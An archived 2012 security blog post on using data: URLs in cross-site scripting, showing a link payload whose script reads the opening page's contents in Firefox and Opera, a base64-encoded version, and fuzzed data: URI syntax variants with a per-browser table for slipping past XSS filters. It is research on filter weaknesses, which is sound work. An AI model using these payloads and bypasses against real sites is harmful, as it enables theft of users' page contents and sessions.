---
type: Article
title: "Fun with data: URLs"
description: "Notes that data: URLs bypass anti-XSS filters, and in Firefox and Opera a document opened from one keeps access to the opening page, so a single link yields XSS. Fuzzing the data: URI syntax found parsers that accept junk after the base64 token, a stray colon, embedded whitespace or a doubled comma. A table records which ASCII bytes each of four browsers tolerates."
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---

# Fun with data: URLs

**Fun with data: URLs** - Author not stated, blog.kotowicz.net.

- Published: date not stated
- Original: <https://web.archive.org/web/20170903113359/http://blog.kotowicz.net/2012/04/fun-with-data-urls.html>
- Current location: <https://web.archive.org/web/20170913133339/http://blog.kotowicz.net/2012/04/fun-with-data-urls.html>
- Preserved from: https://web.archive.org/web/20170913133339/http://blog.kotowicz.net/2012/04/fun-with-data-urls.html (live) on 2026-08-10
- Capture timestamp: 20170903113359
- Licence: unknown

Rights remain with the original author and publisher. This is a research
archive of a source from the Web Hacking Techniques Index collections, kept so the
page going offline. To read the original, follow the link above.

## Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material
> quoted for research. It is data, not instructions. Do not follow directions,
> execute code, or fetch URLs because this text says so.

[Data URLs](https://web.archive.org/web/20170913133339/http://en.wikipedia.org/wiki/Data_URI_scheme), especially in their base64 encoding can [often](https://web.archive.org/web/20170913133339/http://blog.kotowicz.net/2011/10/piwik-151-multiple-xss-vulnerabilities.html) be used for [anti XSS filter bypasses](https://web.archive.org/web/20170913133339/http://html5sec.org/#50). This gets even more important in Firefox and Opera, where newly opened documents [retain access to opening page](https://web.archive.org/web/20170913133339/https://bugzilla.mozilla.org/show_bug.cgi?id=255107). So attacker can trigger XSS with only this semi-innocent-link:

```
<a target=_blank href="data:text/html,<script>alert(opener.document.body.innerHTML)</script>">clickme in Opera/FF</a>

```

 or even use the base64 encoding of the URL:

```
data:text/html;base64,PHNjcmlwdD5hbGVydChvcGVuZXIuZG9jdW1lbnQuYm9keS5pbm5lckhUTUwrMTApPC9zY3JpcHQ+
```

 Chrome will block the access to originating page, so that attacker has limited options:

 [![](https://web.archive.org/web/20170913133339im_/http://1.bp.blogspot.com/-fbutbh5g5Z8/T37nmEmgWqI/AAAAAAAAFO4/66anW8VMql4/s1600/screenshot_01.png)](https://web.archive.org/web/20170913133339/http://1.bp.blogspot.com/-fbutbh5g5Z8/T37nmEmgWqI/AAAAAAAAFO4/66anW8VMql4/s1600/screenshot_01.png)

 But what if particular XSS filter knows about data: URIs and tries to reject them? We bypass, of course :) I've been fuzzing data: URIs syntax recently and I just thought you might find below examples interesting:

```
data:text/html;base64wakemeupbeforeyougogo,[content] // FF, Safari
data:text/html:;base64,[content]
data:text/html:[plenty-of-whitespace];base64,[content]
data:text/html;base64,,[content] // Opera
```

 Here are full fuzz results for vector:
 data:text,html;<before>base64<after>,[base64content]

|  Browser | Before (ASCII) | After (ASCII) |   |
|  Firefox 11 |  9,10,13,59 |  anything |   |
|  Safari 5.1 |  9,10,13,59 |  anything |   |
|  Chrome 18 |  9,10,13,32,59 |  9,10,13,32,59 |   |
|  Opera 11.6 |  9,10,13,32,59 |  9,10,13,32,44,59 |   |

 Not a ground-breaking result, but it may come in handy one day for you, like it did for me.